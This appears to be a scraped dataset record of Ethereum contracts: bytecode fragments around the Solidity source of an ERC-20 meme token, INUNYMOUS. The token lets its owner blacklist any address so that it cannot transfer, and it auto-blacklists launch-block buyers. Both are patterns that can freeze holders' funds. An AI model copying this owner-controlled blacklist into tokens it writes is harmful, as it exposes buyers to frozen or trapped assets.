06c6f636b6564000000000081525060200191505060405180910390fd5b6001600b60146101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612ab4600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612a7457600080fd5b505afa158015612a88573d6000803e3d6000fd5b505050506040513d6020811015612a9e57600080fd5b81019080805190602001909291905050506122ea565b565b612abe611b71565b612b30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b612b3981613a21565b50565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915090505481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612c2e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806140176024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613f1d6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612e25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613ff26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612eab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613eb26023913960400191505060405180910390fd5b612f1681604051806060016040528060268152602001613f62602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130559092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fa9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290613102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156130c75780820151818401526020810190506130ac565b50505050905090810190601f1680156130f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6131e1838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613b67565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561326c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613fd16021913960400191505060405180910390fd5b6132d781604051806060016040528060228152602001613ed5602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130559092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332e8160025461339e90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60006133e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613055565b905092915050565b6000808314156133fb5760009050613468565b600082840290508284828161340c57fe5b0414613463576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613f886021913960400191505060405180910390fd5b809150505b92915050565b60006134b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613db2565b905092915050565b600080828401905083811015613536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b613640848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613b67565b50505050565b6000811480613740575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561370357600080fd5b505afa158015613717573d6000803e3d6000fd5b505050506040513d602081101561372d57600080fd5b8101908080519060200190929190505050145b613795576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806140656036913960400191505060405180910390fd5b613861838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613b67565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613909576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61391e816002546134b890919063ffffffff16565b600281905550613975816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613ef76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b613b868273ffffffffffffffffffffffffffffffffffffffff16613e78565b613bf8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310613c475780518252602082019150602081019050602083039250613c24565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613ca9576040519150601f19603f3d011682016040523d82523d6000602084013e613cae565b606091505b509150915081613d26576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115613dac57808060200190516020811015613d4557600080fd5b8101908080519060200190929190505050613dab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061403b602a913960400191505060405180910390fd5b5b50505050565b60008083118290613e5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613e23578082015181840152602081019050613e08565b50505050905090810190601f168015613e505780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613e6a57fe5b049050809150509392505050565b600080823b90506000811191505091905056fe5661756c743a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373596f752063616e206f6e6c792077697468647261772072657761726420746f6b656e2e45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820719f729cdb45f960dd458601de1a06bb6bb1c97ed8c474612d65d05e5a8954d564736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 8,190 |
0xde00de8e71e4743ac63beca47ea08cd801dfe253
|
/**
*https://t.me/inunymous
*https://inunymous.com/
*INUnymous presents you a better, secure and confidential way to pay.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract INUNYMOUS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "INUNYMOUS";
string private constant _symbol = "INUNYMOUS";
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (2 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15);
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103c0578063cf0848f7146103d5578063cf9d4afa146103f5578063dd62ed3e14610415578063e6ec64ec1461045b578063f2fde38b1461047b57600080fd5b8063715018a6146103235780638da5cb5b1461033857806390d49b9d1461036057806395d89b4114610172578063a9059cbb14610380578063b515566a146103a057600080fd5b806331c2d8471161010857806331c2d8471461023c5780633bbac5791461025c578063437823ec14610295578063476343ee146102b55780635342acb4146102ca57806370a082311461030357600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b357806318160ddd146101e357806323b872dd14610208578063313ce5671461022857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049b565b005b34801561017e57600080fd5b506040805180820182526009815268494e554e594d4f555360b81b602082015290516101aa91906117fd565b60405180910390f35b3480156101bf57600080fd5b506101d36101ce366004611877565b6104e7565b60405190151581526020016101aa565b3480156101ef57600080fd5b50678ac7230489e800005b6040519081526020016101aa565b34801561021457600080fd5b506101d36102233660046118a3565b6104fe565b34801561023457600080fd5b5060096101fa565b34801561024857600080fd5b506101706102573660046118fa565b610567565b34801561026857600080fd5b506101d36102773660046119bf565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a157600080fd5b506101706102b03660046119bf565b6105fd565b3480156102c157600080fd5b5061017061064b565b3480156102d657600080fd5b506101d36102e53660046119bf565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030f57600080fd5b506101fa61031e3660046119bf565b610685565b34801561032f57600080fd5b506101706106a7565b34801561034457600080fd5b506000546040516001600160a01b0390911681526020016101aa565b34801561036c57600080fd5b5061017061037b3660046119bf565b6106dd565b34801561038c57600080fd5b506101d361039b366004611877565b610757565b3480156103ac57600080fd5b506101706103bb3660046118fa565b610764565b3480156103cc57600080fd5b5061017061087d565b3480156103e157600080fd5b506101706103f03660046119bf565b610934565b34801561040157600080fd5b506101706104103660046119bf565b61097f565b34801561042157600080fd5b506101fa6104303660046119dc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046757600080fd5b50610170610476366004611a15565b610bda565b34801561048757600080fd5b506101706104963660046119bf565b610c17565b6000546001600160a01b031633146104ce5760405162461bcd60e51b81526004016104c590611a2e565b60405180910390fd5b60006104d930610685565b90506104e481610caf565b50565b60006104f4338484610e29565b5060015b92915050565b600061050b848484610f4d565b61055d843361055885604051806060016040528060288152602001611ba9602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112e6565b610e29565b5060019392505050565b6000546001600160a01b031633146105915760405162461bcd60e51b81526004016104c590611a2e565b60005b81518110156105f9576000600560008484815181106105b5576105b5611a63565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f181611a8f565b915050610594565b5050565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016104c590611a2e565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f9573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f890611320565b6000546001600160a01b031633146106d15760405162461bcd60e51b81526004016104c590611a2e565b6106db60006113a4565b565b6000546001600160a01b031633146107075760405162461bcd60e51b81526004016104c590611a2e565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f4338484610f4d565b6000546001600160a01b0316331461078e5760405162461bcd60e51b81526004016104c590611a2e565b60005b81518110156105f957600c5482516001600160a01b03909116908390839081106107bd576107bd611a63565b60200260200101516001600160a01b03161415801561080e5750600b5482516001600160a01b03909116908390839081106107fa576107fa611a63565b60200260200101516001600160a01b031614155b1561086b5760016005600084848151811061082b5761082b611a63565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087581611a8f565b915050610791565b6000546001600160a01b031633146108a75760405162461bcd60e51b81526004016104c590611a2e565b600c54600160a01b900460ff1661090b5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c5565b600c805460ff60b81b1916600160b81b17905542600d81905561092f906078611aaa565b600e55565b6000546001600160a01b0316331461095e5760405162461bcd60e51b81526004016104c590611a2e565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016104c590611a2e565b600c54600160a01b900460ff1615610a115760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c5565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8c9190611ac2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afd9190611ac2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611ac2565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c045760405162461bcd60e51b81526004016104c590611a2e565b600f811115610c1257600080fd5b600855565b6000546001600160a01b03163314610c415760405162461bcd60e51b81526004016104c590611a2e565b6001600160a01b038116610ca65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c5565b6104e4816113a4565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cf757610cf7611a63565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d749190611ac2565b81600181518110610d8757610d87611a63565b6001600160a01b039283166020918202929092010152600b54610dad9130911684610e29565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610de6908590600090869030904290600401611adf565b600060405180830381600087803b158015610e0057600080fd5b505af1158015610e14573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e8b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c5565b6001600160a01b038216610eec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c5565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fb15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c5565b6001600160a01b0382166110135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c5565b600081116110755760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c5565b6001600160a01b03831660009081526005602052604090205460ff161561109b57600080fd5b6001600160a01b03831660009081526004602052604081205460ff161580156110dd57506001600160a01b03831660009081526004602052604090205460ff16155b80156110f35750600c54600160a81b900460ff16155b80156111235750600c546001600160a01b03858116911614806111235750600c546001600160a01b038481169116145b156112d457600c54600160b81b900460ff166111815760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c5565b50600c546001906001600160a01b0385811691161480156111b05750600b546001600160a01b03848116911614155b80156111bd575042600e54115b156112045760006111cd84610685565b90506111ed60646111e7678ac7230489e8000060026113f4565b90611473565b6111f784836114b5565b111561120257600080fd5b505b600d54421415611232576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061123d30610685565b600c54909150600160b01b900460ff161580156112685750600c546001600160a01b03868116911614155b156112d25780156112d257600c5461129c906064906111e790600f90611296906001600160a01b0316610685565b906113f4565b8111156112c957600c546112c6906064906111e790600f90611296906001600160a01b0316610685565b90505b6112d281610caf565b505b6112e084848484611514565b50505050565b6000818484111561130a5760405162461bcd60e51b81526004016104c591906117fd565b5060006113178486611b50565b95945050505050565b